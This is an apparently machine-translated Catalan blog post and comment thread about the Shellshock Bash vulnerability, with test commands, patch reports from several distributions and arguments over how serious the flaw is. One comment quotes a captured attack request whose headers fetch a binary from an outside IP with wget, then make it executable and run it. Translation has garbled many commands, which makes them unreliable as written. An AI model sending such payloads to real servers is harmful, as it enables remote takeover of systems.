Camina corrent com pólvora en alguns blocs, una notícia publicada al bloc de seguretat de Red Hat sobre una vulnerabilitat trobada en Bash causa de l'ús indegut de variables globals. Segons la notícia original:
«... la vulnerabilitat es deu a el fet que es poden crear variables d'entorn amb valors especialment dissenyats abans de cridar a la shell de bash. Aquestes variables poden contenir codi que és executat tan aviat com s'invoca el shell. El nom d'aquestes variables elaborades no importa, només els seus continguts. Com a resultat, aquesta vulnerabilitat s'exposa en molts contextos, Per exemple:
- ForceCommand s'utilitza en configuracions de sshd per proporcionar capacitats d'execució d'ordres limitades per als usuaris remots. Aquest defecte es pot utilitzar per a evitar això i proporcionar execució d'ordres arbitraris. Algunes implementacions de Git i Subversion utilitzen aquests Shells restringits. L'ús regular d'OpenSSH no es veu afectada ja que els usuaris ja tenen accés a una consola.
- El servidor Apache usant mod_cgi o mod_cgid es veuen afectats si els scripts CGI estan escrits tant en bash, o fresen subnivells. Tals subnivells s'utilitzen de forma implícita per system / popen en C, per os.system / os.popen en Python, si s'utilitza un intèrpret d'ordres system / exec en PHP (Quan s'executa en mode CGI), i open / system en Perl (que depèn en la cadena de comandaments).
- Scripts PHP executats amb mod_php no es veuen afectats fins i tot si es reprodueixen subnivells.
- Clients DHCP invoquen scripts shell per configurar el sistema, amb valors presos d'un servidor potencialment maliciós. Això permetria comandaments arbitraris a ser executats, normalment com a root, en l'equip client DHCP.
- Diversos dimonis i programes amb privilegis SUID poden executar scripts de shell amb els valors de variables d'entorn establertes / influenciats per l'usuari, el que permetria executar comandaments arbitraris.
- Qualsevol altra aplicació que s'enganxa a un Shell o s'executa un script de shell com l'ús de bash com a intèrpret. Els scripts de shell que no exporten variables no són vulnerables a aquest problema, fins i tot si ells processen contingut no fiable i l'emmagatzemen en variables (deixats) de shell i subnivells oberts.
... »
¿Com saber si el meu Bash està afectat?
Vist això hi ha una manera molt simple de saber si estem afectats per aquesta vulnerabilitat. De fet, vaig provar en el meu Antergos i no tinc cap problema a l'semblar. El que hem de fer és obrir un terminal i posar:
env x = '() {:;}; trobo vulnerable 'bash -c "echo this is a test"
Si ens surt d'aquesta manera no tenim cap problema:
env x = '() {:;}; trobo vulnerable 'bash -c "echo this is a test" bash: avís: x: ignoring function definition attempt bash: error a l'importar la definició de la funció per a `x' this is a test
Si el resultat és diferent, convindria usar els canals d'actualització de les nostres distribucions preferides per veure si ja van aplicar el pegat. Així que ja saben 😉
Actualitzat: Aquest és el resultat d'un company de treball que fa servir Ubuntu 14:04:
env x = '() {:;}; trobo vulnerable 'bash -c "echo this is a test" vulnerable this is a test
Com veuen, fins al moment és vulnerable.
Tinc Kubuntu 14.04 de 64 i també em surt:
env x = '() {:;}; trobo vulnerable 'bash -c «trobo this is a test»
vulnerable
això és un test
Ja vaig actualitzar, però no corregeix. Que fer?
Esperar que actualitzin. Ja Eos per exemple actualitzar .. 😀
Que estrany, jo també tinc Kubuntu 14.04
$ Env x = '() {:;}; trobo vulnerable 'bash -c «trobo this is a test»
bash: avís: x: ignoring function definition attempt
bash: error a l'importar la definició de la funció per a `x '
això és un test
Afegeixo que la versió de l'paquet «bash» que s'ha descarregat avui és:
4.3-7ubuntu1.1
http://packages.ubuntu.com/trusty/bash
En el meu cas, a el donar-li la comanda, només em dóna el següent a la terminal:
>En fi, l'acudit és que vaig actualitzar Debian Wheezy i éso és el que em va botar.
Wheezy encara és vulnerable a la segona part de l'informe d'error, al menys per la tarda (UTC -4: 30) encara seguia el problema: /
Acabo de comprovar que després d'aplicar una actualització aquest matí ni Slackware ni Debian ni Centos són afectats ja que van rebre actualització corresponent ..
Què fa Ubuntu encara vulnerable a aquestes hores? I que em diguin que és segur: D.
Però has provat actualitzar Ubuntu?
Amb l'actualització d'avui també ho han arreglat.
OK
Experts en seguretat adverteixen de la vulnerabilitat de 'Bash', podria representar una major amenaça per als usuaris de l'Programari Linux que la decisió de heartbleed, on els aficionats poden explotar una errada en Bash per prendre el control complet d'un sistema.
Tod Beardsley, gerent d'enginyeria de la signatura de ciberseguretat Rapid7, va advertir que la decisió va ser classificat com 10 per la seva gravetat, el que significa que té el màxim impacte, i qualificat com "greu" per la complexitat de l'explotació, el que significa que és relativament fàcil per als atacs de pirates informàtics. A l'usar aquesta vulnerabilitat, els atacants potencialment poden prendre el control de sistema operatiu, accedir a informació confidencial, fer canvis, etc », va dir Beardsley. «Qualsevol amb sistemes que ocupin Bash han d'aplicar el pegat immediatament», va afegir.
ABANS AQUESTA VULNERABILITAT QUE PRESENTA L'ANTIQUAT EINA (GNU) on s'allotja Bach, seria més convenient per al Programari Linux que desfaci de GNU i canviïn per l'eina BSD.
PD: no censurin la meva llibertat d'expressió, ... no insultat a ningú, ... no esborrin el meu missatge com l'anterior missatge que m'han esborrat !.
Ai per favor, no exageris. Com detesto a aquestes persones que fan servir BSD i menyspreen GNU, Linux o qualsevol cosa provinent d'aquests projectes.
Estic amb tu i tens tota la raó en quant a la gravetat d'aquest forat.
No va ser censura, va ser redundància (havies fet el mateix comentari en el post d'gnome 3.14)
«... i qualificat com" SOTA "PER LA COMPLEXITAT de l'explotació, el que significa que és relativament FÀCIL per als atacs de pirates informàtics»
Es nota la incongruència?
Com pot ser fàcil explotar la vulnerabilitat i tenir a el mateix temps nivell "greu" de risc per ser tan complex d'utilitzar-se?
És un error que es va solucionar a unes hores de conèixer-se i que a l'igual que heartbleed no té informes d'haver estat explotat (És clar aquest té menys temps de conèixer-se).
És mes premsa groga que risc real.
Et sembla poc important @Staff? Què em diràs ara?
GET./.HTTP/1.0
.User-Agent: .Thanks-Rob
.Cookie: (). {.:;.} ;. wget.-O./tmp/besh.http://162.253.66.76/nginx; .Chmod.777. / Tmp / Besh; ./ tmp / Besh;
.Host: (). {.:;.} ;. wget.-O./tmp/besh.http://162.253.66.76/nginx; .Chmod.777. / Tmp / Besh; ./ tmp / Besh;
.Referer: (). {.:;.} ;. wget.-O./tmp/besh.http://162.253.66.76/nginx; .Chmod.777. / Tmp / Besh; ./ tmp / Besh;
.Accept:. * / *
$ File nginx
nginx: ELF 32 bits LSB executable, Intel 80386, version 1 (SysV), statically linked, for GNU / Linux 2.6.18, Stripped
$ Md5sum nginx
5924bcc045bb7039f55c6ce29234e29a nginx
$ Sha256sum nginx
73b0d95541c84965fa42c3e257bb349957b3be626dec9d55efcc6ebcba6fa489 nginx
Saps què és? De poc perillós res ...
La situació és prou greu, però d'allà a dir que s'ha de deixar de fer servir bash per una opció de BSD, ja és com a molt, de totes maneres l'actualització ja està, només toco actualitzar i més res.
Ara bé el PD, crec que està de més company @robet, no crec que aquí els admins es dediquin a esborrar comentaris així perquè si, perquè, des que participo en aquesta comunitat he tingut aquesta sensació i espero que es mantingui així.
Salutacions.
Vas posar exactament el mateix comentari en dos post diferents. Si el que intentes és promoure «la font» de la notícia, ho sento, aquest no és el lloc.
Bash ve des Unix (i el seu clon en GNU). Els sistemes basats en BSD com OSX també estan afectats, i segons Genbeta, encara no ho han parchado. Igual per accedir a Bash cal un compte d'usuari, ja sigui local o per SSH.
@Staff:
1.- Es classifico com a Nivell 10 (màxim nivell de perillositat) per la quantitat de serveis que poden ser afectats per l'informe d'error. A la nota principal deixen ben clar aquest fet, adduint que l'error pot afectar serveis com apatxe, sshd, programes amb permisos suid (xorg, entre d'altres).
2.- Es va classificar amb Nivell Baix de Dificultat, a l'hora de poder realitzar la seva implementació, i el millor exemple d'això, és l'script de prova per vulnerabilitat que @elav ha col·locat en el post. Molt difícil d'implementar no és, com es pot veure.
Jo no veig redundància en la informació (només veig una traducció de Google) i si el problema és prou greu, i com tu mateix dius, ja té pegat i solució, però no per això, deixa de ser un risc, i un bastant real .
@petercheco / @Yukiteru
No em mal interpretin, crec que és clar que el meu critica és la notícia que enllaça Robet i està enfocada la incongruència i no una redundància.
De la mateixa manera cal diferenciar entre risc i perill (Aquest últim jo no ho esmenti), comunament els fem servir com a sinònims, però aquí, perill seria la capacitat de dany de l'informe d'error i risc la probabilitat que ocorri.
En el meu particular cas, em entre des del dia d'ahir. No va ser per llistes de correus ni res així Va ser per una distro d'escriptori! Prengui el telèfon i li enviï un missatge a l'sysadmin amb el link i em va confirmar que ja tenia tot parchado, llavors disculpin però no em treuen la son aquestes notícies.
En altres fòrums esmenten sobre la vulnerabilitat de Bash, «la solució que va treure Debian i Ubuntu», però avui van descobrir que segueix existint una vulnerabilitat, així que la solució va ser incompleta, això esmenten !.
Veig que molts m'han criticat pel simple fet de prevenir a la gent la gravetat de vulnerabilitat -qualificat amb un nivell 10 de màxima perillositat, i esmentar de possibles solucions a l'Programari Linux davant l'antiquada eina de GNU on s'allotja Bash -que perfectament podria ser remplazado GNU amb l'eina BSD al Programari Linux, ... jo també faig servir Linux i m'agrada Linux !.
Aclareixo que Bash no ve per defecte instal·lat en BSD, és un paquet mes de compatibilitat de Linux que pot ser instal·lat en BSD ... si !. I la font es posa perquè puguin comprovar la notícia, ja que molts dels usuaris de vegades no creuen el missatge o comentari.
Robet: Com ja et van dir una i altra vegada, el teu comentari amb la notícia ja ho vas posar en un post, no has de posar-ho en cada post que comentes.
Sobre bash, ja que hi ha altres intèrprets d'ordres que es poden usar en cas que Bash sigui vulnerable. 😉
Robet, que jo sàpiga no hi ha programari que combini el nucli linux amb l'userland BSD. El mes proper és a l'inrevés, kBSD + GNU, com ho fan Gentoo i Debian. A part no l'hi prodría anomenar «antiquat» a GNU (1983) si és posterior a BSD (1977). Tots dos comparteixen la seva arrel unix (però no el codi), no hi hauria «compatibilitat Linux" si Bash va ser creat quan Linus T encara era nen.
uff, havien de testing a aquestes hores és «vulnerable» vagi ratxa que portem ...
Jo ús Debian Testing i fins en aquesta branca hem rebut l'actualització de bash
segons Genbeta també hi ha una altra vulnerabilitat
http://seclists.org/oss-sec/2014/q3/685
la comanda per consultar és
env X = '() {(a) => \' sh -c «trobo vulnerable»; bash -c «trobo Fallada 2 sense posar pegats»
env X = '() {(a) => \' sh -c "echo vulnerable"; bash -c "echo Fallada 2 sense posar pegats" sh: X: línia 1: error sintàctic prop de l'element inesperat `= 'sh: X: línia 1:`' sh: error a l'importar la definició de la funció per a `X 'sh : vulnerable: no es va trobar l'ordre Fallada 2 sense parcheael mateix jo.
Igual aquí. Però la decisió original de l'post sí que va ser pedaç a (L) Ubuntu 14.04
en comptes de fer un simple fet intenti fer que executi una instrucció que requereix privilegis, em tir «privilegis insuficients» ... no escala privilegis aquest error ?, si no escala privilegis llavors no és tan perillós com el pinten ..
Tens raó !! eren dos vulnerabilitats ...
Al meu en Linux Mint 17 després de la segona actualització de bash que van posar en els repositoris d'Ubuntu ahir a la nit, a l'execució d'aquesta ordre l'intèrpret d'ordres ofereix aquesta sortida:
env X = '() {(a) => \' sh -c "echo vulnerable"; bash -c "echo Fallada 2 sense posar pegats"
>
La versió de «bassh» que es va posar en repositoris d'Ubuntu per actualitzar les anteriors és:
4.3-7ubuntu1.2
En sistemes derivats de Debian es pot comprovar la versió instal·lada amb aquesta ordre:
dpkg -s bash | grep Version
De tota manera caldria aclarir, al menys per als usuaris de Debian, Ubuntu i Mint; que no han de preocupar-se massa pels programes que executen scripts amb l'encapçalament #! / bin / sh perquè en aquestes distribucions / bin / sh no crida a «bash», sinó que enllaça a la shell «dash» (dash és :)
La consola de l'alquimista de Debian (dash) és una consola POSIX derivada
d'ash.
.
Des que executa scripts més rapid que bash, i té menys dependències
de biblioteques (fent-lo més robust contra falles de programari o
maquinari), s'usa com a consola per defecte de sistema en sistemes
Debian.
Així que, al menys en Ubuntu, «bash» és utiizada com shell per al login d'usuaris (també per a l'usuari root). Però qualsevol usuari pot utilitzar una altra shell per defecte per a les consoles (terminals) d'usuaris i root.
És fàcil comprovar que shell executa els scripts (#! / Bin / sh) executant aquestes ordres:
file / bin / sh
(La sortida és / bin / sh: symbolic link to `dash ') seguim el rastre repetint l'ordre
file / bin / dash
(La sortida és / bin / dash: ELF 64 bits LSB shared object, x86-64, version 1 (SysV) així que aquest és l'executable.
Aquests són els resultats en una distribució Linux Mint 17. En altres distribucions no basades en Ubuntu / Debian poden ser diferents.
No és difícil canviar la shell per defecte !! fins i tot es pot fer servir una diferent per als usuaris i per a l'usuari root. En realitat només cal instal·lar la shell que es prefereixi i canviar la predeterminada amb la comanda «chsh» o editant el fitxer / etc / passwd (encara que els usuaris que no coneixen les conseqüències d'un error a l'editar el fitxer «passwd», és millor que s'informin molt bé i abans d'editar-que facin còpia de l'original per si cal recuperar).
Jo em sento més còmode amb «tcsh» (tcsh és :)
La consola de C de TENEX, una versió millorada de la csh de Berkeley
«Csh» és la que utilitzaven els Mac OS X fa alguns anys. Una cosa lògica tenint en compte que bona part de el sistema operatiu d'Apple és codi de FreeBSD. Ara pel que he llegit ahir, sembla que també proveeixen «bash» per als terminals dels usuaris.
CONCLUSIONS:
- Ja s'han distribuït versions de «bash» pegats «per a les distribucions més usades»
- La versió de «bash» 4.3-7ubuntu1.2 i posteriors no contenen aquests bugs
- No és obligatori fer servir «bash» en OS * Linux
- Poques distribucions * Linux enllacen #! / Bin / sh amb «bash»
- Hi alernativas: ash, dash, csh, tcsh i algunes més
- No és complicat canviar la shell per defecte a la qual el sistema crida quan obre un terminal
- Pocs dispositius petits (routers i altres) fan servir «bash», perquè és molt gran !!
Ara mateix acaba d'arribar una altra actualització que instal una altra versió de «bash» 4.3-7ubuntu1.3
Per a Linux Mint 17 i Ubuntu 14.04.1 LTS
En ArchLinux va entrar la versió bash-4.3.026-1
@ Xurxo ... .csh de Berkeley?, ... alguna cosa entens del que parlo a dalt, i és millor fer servir «csh» de BSD ... abans que l'antiquada eina GNU on s'allotja Bash. Aquesta eina és la millor per al Programari Linux.
suposo que és aquest el bug
https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=762760
cert?
I la solució qual seria?
Esperar que actualitzin el paquet en el teu distro 😉
El bug va quedar batejat com Shellshock
http://www.theregister.co.uk/2014/09/24/bash_shell_vuln/
vulnerable
això és un test
Encara no hi ha pegat per Ubuntu Studio 14.04
Reaparat a Ubuntu Studio 14.04.1
brizno @ UbuntuStudio: ~ $ env x = '() {:;}; trobo vulnerable 'bash -c «trobo this is a test»
bash: avís: x: ignoring function definition attempt
bash: error a l'importar la definició de la funció per a `x '
això és un test
En realitat és una vulnerabilitat menor, si t'afecta és que alguna cosa estaves fent malament d'abans ...
Perquè un script bash que corre amb privilegis de root mai ha d'exposar-se a un usuari. I si corre sense privilegis, no existeix aquesta bulnerabilidad. En realitat, és una tonteria. Molt alarmisme.
Penso el mateix.
Exacte, per vendre mes diaris o aconseguir més visites són bons aquests bugs.
Però sempre se'ls oblida esmentar que per poder vulnerar un equip amb aquesta classe de scripts, primer cal tenir accés a bash i després tenir-lo com a root.
staff si utilitzes un apatxe amb CGI només cal posar en les capçaleres http com galetes o referer la funció que vols executar. Fins i tot s'ha fet servir per propagar worms.
i si algú fica un intèrpret d'ordres a un servidor amb un wget mishell.php, en aquest cas no és greu no?
D'acord amb tu. Vaig pensar que era un error tremend com el de heartbleed (fins i tot la NSA es va prestar per alimentar la morbositat), però a la fi de a el cap era un error menor.
Hi ha altres bugs realment seriosos com l'absurd consum de Flash i la baixada de rendiment en el Pepper Flash Player, i el ja solucionat error de WebRTC a Chrome i Firefox.
Sabeu si té solució per a la gent que tenim Linux Mint 16?
A Debian testing ja va ser corregit.
En els meus 5 distros està solucionat, al meu OS X no ho sé.
Si us plau, no censurin el meu comentari, he dit OS X. No se si es pot dir OS X en aquest lloc.
@yoyo bo tampoc ho flipes massa que encara estan treballant en alguns detalls de l'pegat ... prova amb això i després m'expliques camina XD
env x = '() {:;}; trobo vulnerable 'bash -c «trobo sóc més vulnerable que les escombraries de l'iphone juny»
Això si que ho tenen solucionat a el 100% abans que OS X em jugo el que sigui
Bé, fins a Ars Technica li donen la rellevància a Bash en OSX.
@Yoyo proper comentari sobre OS X per SPAM .. lla teva save .. 😛
@yoyo aquí que arreglar el de les comillas..pero la resta ja tu saps 😉
La FSF ha parlat
https://fsf.org/news/free-software-foundation-statement-on-the-gnu-bash-shellshock-vulnerability
Com que s'han tornat condescendents amb OSX (perquè OSX igual fa servir Bash: v).
En fi, no he de embolicar-me tant amb Debian Jessie.
Si el sistema és vulnerable a Cent OS:
yum clean all && yum update bash
per veure la versió de bash:
rpm -qa | grep bash
Si la versió és anterior a bash-4.1.2-15.el6_5.1 teu sistema pot ser vulnerable!
Salutacions.
2a vulnerabilitat encara no resolta
env soyvariable2 = '() {(a) => \' sh -c «trobo soyVulnerable»; bash -c «trobo Fallada 2 sense posar pegats»
Actualitzant ...
Al meu en Gentoo em passa el contrari, només sóc vulnerable a la primera fallada però amb el segon m'apareix això:
[Code] sh: X: línia 1: error sintàctic prop de l'element inesperat `= '
sh: X: línia 1: ` '
sh: error a l'importar la definició de la funció per a `X '
sh: vulnerable: no es va trobar l'ordre
Fallada 2 sense posar pegats
[/ codi]
No se si ja hi haurà una versió estable de Bash amb les fallades corregits, però sigui com sigui quedés pendent per a la propera vegada que faci un emergeix -sync && emergeix -update -deep -with-bdeps = i -newuse @world (així de pas actualitzo tot el sistema).
Jo tinc Gentoo amb la versió 4.2_p50 i fins ara ha passat totes les proves. Prova fent un emergeix -sync i després emergeix -av1 app-intèrprets d'ordres / bash, i després revisa que tinguis la versió 4.2_p50 utilitzant la comanda bash -version.
Han provat això?
I amb nous paquets, nou test que ens proporcionen de Red Hat
cd / tmp; rm -f / tmp / tiro; env 'x = () {(a) => \' bash -c «trobo date»; cat / tmp / tiro
si el nostre sistema no és vulnerable i ha estat correctament pedaç ens ha de donar alguna cosa com això
Data del 1
2 cat: / tmp / tiro: No existeix el fitxer o directori
Provin aquesta manera:
env X = '() {(a) => \' sh -c «trobo vulnerable»; bash -c «trobo Fallada 2 pedaç»
A mi em surt
vulnerable
Fallada 2 pedaç.
Oblidin-està malament formatada la línia.
Excel·lent !, ja vaig fer l'actualització en el meu Slackware, gràcies!
Bones, em sorgeix una pregunta, jo tinc diversos servidors amb «SUSE Linux Enterprise Server 10» de 64 bits.
Quan executo les ordres sóc vulnerable, fins i tot sóc més vulnerable que les escombraries el iPhone 6 xD
Si no m'equivoco per actualitzar / instal lar paquets en SUSE es fa amb la comanda «Zypper».
En alguns servidors em diu això:
Bial: ~ # Zypper up
-bash: Zypper: command not found
Bial: ~ #
I en altres això:
SMB: ~ # Zypper up
Restoring system sources ...
Parsing metadata for SUSE Linux Enterprise Server 10 SP2-20100319-161944 ...
Parsing RPM database ...
Resum:
Nothing to do.
Que faig?
Ja sé que la vulnerabilitat alguns dieu que és menor d'com el pinten però la tinc i no vull estar exposat a el risc, sigui petit o gran.
Salutacions.
Bona nit, he provat pegant el codi que van disposar en l'article, em surt això
sanders @ pc-sanders: ~ $ env x = '() {:;}; trobo vulnerable 'bash -c «trobo this is a test»
això és un test
sanders @ pc-sanders: ~ $
volen si us plau explicar-me com parchar distro, faig actualitzacions diàriament i no veig canvis a la sortida de l'indicador.
Moltes gràcies!